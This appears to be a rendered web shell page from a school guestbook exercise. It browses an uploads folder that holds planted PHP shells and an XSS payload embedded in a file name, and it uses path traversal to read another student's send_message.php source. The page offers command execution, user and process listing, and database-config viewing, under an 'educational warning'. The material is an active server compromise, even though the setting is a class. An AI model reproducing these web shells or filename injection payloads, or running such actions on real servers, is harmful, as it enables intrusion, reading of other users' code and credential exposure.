🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../587164.klas4s23.mid-ica.nl/public_html/gastenboek/send_message.php

<?php
session_start();

require_once 'testconnect.php';

// Check if the session is set for this user
if (!isset($_SESSION['posted']) || time() - $_SESSION['posted'] > 7200) { // Check if 2 hours have passed
    
    if ($_SERVER['REQUEST_METHOD'] == "POST") {
        // Get form data
        $name = isset($_POST['name']) ? trim($_POST['name']) : '';
        $message = isset($_POST['text']) ? trim($_POST['text']) : '';
        $imagePath = "";
        $errors = [];

        // Validate required fields
        if (empty($name)) {
            $errors[] = "Naam is verplicht";
        }
        if (empty($message)) {
            $errors[] = "Bericht is verplicht";
        }

        // Check if image file is uploaded
        if (isset($_FILES["fileToUpload"]["tmp_name"]) && !empty($_FILES["fileToUpload"]["tmp_name"])) {
            $target_dir = "uploads/";
            
            // Create uploads directory if it doesn't exist
            if (!file_exists($target_dir)) {
                mkdir($target_dir, 0755, true);
            }
            
            $uniqueFilename = uniqid() . '_' . basename($_FILES["fileToUpload"]["name"]);
            $target_file = $target_dir . $uniqueFilename;
            $uploadOk = 1;
            $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

            // Check if image file is a actual image
            $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
            if ($check === false) {
                $errors[] = "Bestand is geen afbeelding";
                $uploadOk = 0;
            }

            // Check file size (5MB max)
            if ($_FILES["fileToUpload"]["size"] > 5000000) {
                $errors[] = "Bestand is te groot (max 5MB)";
                $uploadOk = 0;
            }

            // Allow certain file formats
            if (!in_array($imageFileType, ['jpg', 'jpeg', 'png', 'gif'])) {
                $errors[] = "Alleen JPG, JPEG, PNG & GIF bestanden zijn toegestaan";
                $uploadOk = 0;
            }

            // Try to upload file if no errors
            if ($uploadOk == 1) {
                if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
                    $imagePath = $target_file;
                } else {
                    $errors[] = "Fout bij uploaden van bestand";
                }
            }
        }

        // If no errors, insert message into database
        if (empty($errors)) {
            $stmt = $conn->prepare('INSERT INTO `messages` (`name`, `message`, `imagePath`) VALUES (?, ?, ?)');
            $stmt->bindParam(1, $name);
            $stmt->bindParam(2, $message);
            $stmt->bindParam(3, $imagePath);
            
            if ($stmt->execute()) {
                // Set session variable to mark that the user has posted
                $_SESSION['posted'] = time();
                // Redirect to index page after successful submission
                header('Location: index.php?success=1');
                exit;
            } else {
                // Redirect with error
                header('Location: message.php?error=db');
                exit;
            }
        } else {
            // Store errors in session and redirect back to form
            $_SESSION['errors'] = $errors;
            $_SESSION['form_data'] = ['name' => $name, 'text' => $message];
            header('Location: message.php');
            exit;
        }
    }
} else {
    // User has already posted within 2 hours
    header('Location: index.php?error=cooldown');
    exit; 
}
?>

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!